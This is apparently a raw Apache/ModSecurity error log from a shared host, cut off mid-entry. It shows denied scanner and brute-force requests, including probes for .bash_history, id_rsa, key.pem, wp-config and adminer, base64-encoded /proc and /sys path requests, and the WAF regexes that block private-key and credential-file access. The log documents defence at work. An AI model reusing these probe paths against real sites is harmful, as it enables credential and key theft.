https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:46.795214 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:46.869681 2026] [security2:error] [pid 648189:tid 648280] [remote 50.87.144.31:37216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mirandacustomsbrokerage.com"] [uri "/wp-login.php"] [unique_id "ai3zolWSojQL4F7upKB-FAAAqDo"] [Sat Jun 13 18:19:46.875610 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.30:52038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:46.876049 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.30:52038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:46.960550 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:37152] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config-sample.php"] [unique_id "ai3zolWSojQL4F7upKB-GAAAALU"] [Sat Jun 13 18:19:47.166765 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.49:28663] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:47.167204 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.49:28663] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:47.211481 2026] [security2:error] [pid 648189:tid 648276] [remote 17.22.253.203:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 203.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zo1WSojQL4F7upKB-IgAAsjY"] [Sat Jun 13 18:19:47.231431 2026] [security2:error] [pid 648189:tid 648480] [client 185.177.72.9:37158] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wordpress/wp-config.php"] [unique_id "ai3zo1WSojQL4F7upKB-JQAAAP4"] [Sat Jun 13 18:19:47.262705 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.104:24446] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:47.263090 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.104:24446] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:47.342053 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:19:47.342341 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:19:47.502091 2026] [security2:error] [pid 646876:tid 647020] [client 185.177.72.9:37174] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wordpress/wp-config-sample.php"] [unique_id "ai3zo9yTkdrNlD40tSG7kQAAAAw"] [Sat Jun 13 18:19:47.642992 2026] [security2:error] [pid 646876:tid 647022] [client 172.56.168.133:14705] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zo9yTkdrNlD40tSG7kwAAAA4"] [Sat Jun 13 18:19:47.643102 2026] [security2:error] [pid 646876:tid 647022] [client 172.56.168.133:14705] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zo9yTkdrNlD40tSG7kwAAAA4"] [Sat Jun 13 18:19:47.651852 2026] [security2:error] [pid 648189:tid 648483] [client 45.86.200.30:56901] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/file5.php"] [unique_id "ai3zo1WSojQL4F7upKB-MgAAAQE"] [Sat Jun 13 18:19:47.854127 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:19:47.854559 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:19:47.913074 2026] [security2:error] [pid 648189:tid 648253] [remote 17.241.219.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zo1WSojQL4F7upKB-QAAAhh8"] [Sat Jun 13 18:19:48.432247 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:48.432694 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:48.528500 2026] [security2:error] [pid 648189:tid 648481] [client 185.177.72.9:37190] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.bash_history"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.bash_history"] [unique_id "ai3zpFWSojQL4F7upKB-WAAAAP8"] [Sat Jun 13 18:19:48.555521 2026] [security2:error] [pid 648189:tid 648230] [remote 17.22.237.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zpFWSojQL4F7upKB-VwAAzgo"] [Sat Jun 13 18:19:48.580394 2026] [security2:error] [pid 648189:tid 648485] [client 45.86.200.28:27865] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/ahax.php"] [unique_id "ai3zpFWSojQL4F7upKB-XAAAAQM"] [Sat Jun 13 18:19:48.582161 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.29:26453] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:48.582431 2026] [access_compat:error] [pid 646876:tid 646945] [remote 57.141.14.29:26453] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:48.619714 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.106:27033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:48.620073 2026] [access_compat:error] [pid 648189:tid 648257] [remote 57.141.14.106:27033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:48.646105 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.100:53457] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:48.646441 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.100:53457] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:48.648219 2026] [access_compat:error] [pid 648189:tid 648288] [remote 74.7.242.16:36572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:19:48.648489 2026] [access_compat:error] [pid 648189:tid 648288] [remote 74.7.242.16:36572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:19:48.654570 2026] [security2:error] [pid 648189:tid 648349] [remote 193.115.126.168:45134] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.126.115.193.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "helenloo.com"] [uri "/wp-login.php"] [unique_id "ai3zpFWSojQL4F7upKB-YgAAt34"] [Sat Jun 13 18:19:48.664780 2026] [security2:error] [pid 648189:tid 648478] [client 210.217.96.217:55561] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zpFWSojQL4F7upKB-ZAAAAPw"] [Sat Jun 13 18:19:48.664879 2026] [security2:error] [pid 648189:tid 648478] [client 210.217.96.217:55561] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zpFWSojQL4F7upKB-ZAAAAPw"] [Sat Jun 13 18:19:48.808276 2026] [security2:error] [pid 648189:tid 648480] [client 185.177.72.9:37190] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/id_rsa"] [unique_id "ai3zpFWSojQL4F7upKB-bAAAAP4"] [Sat Jun 13 18:19:48.908943 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:19:48.909374 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:19:49.031095 2026] [security2:error] [pid 648189:tid 648305] [remote 74.7.242.16:36572] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3zpVWSojQL4F7upKB-dgAApFM"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:19:49.057461 2026] [security2:error] [pid 648189:tid 648329] [remote 17.241.227.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zpVWSojQL4F7upKB-eAAA62o"] [Sat Jun 13 18:19:49.082473 2026] [access_compat:error] [pid 648189:tid 648282] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:49.082758 2026] [access_compat:error] [pid 648189:tid 648282] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:49.099414 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:37190] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/key.pem"] [unique_id "ai3zpVWSojQL4F7upKB-ewAAALo"] [Sat Jun 13 18:19:49.376566 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.100:53471] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:49.377000 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.100:53471] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:49.433433 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.40:58746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:49.433857 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.40:58746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:49.519617 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:19:49.520035 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:19:49.524974 2026] [security2:error] [pid 646876:tid 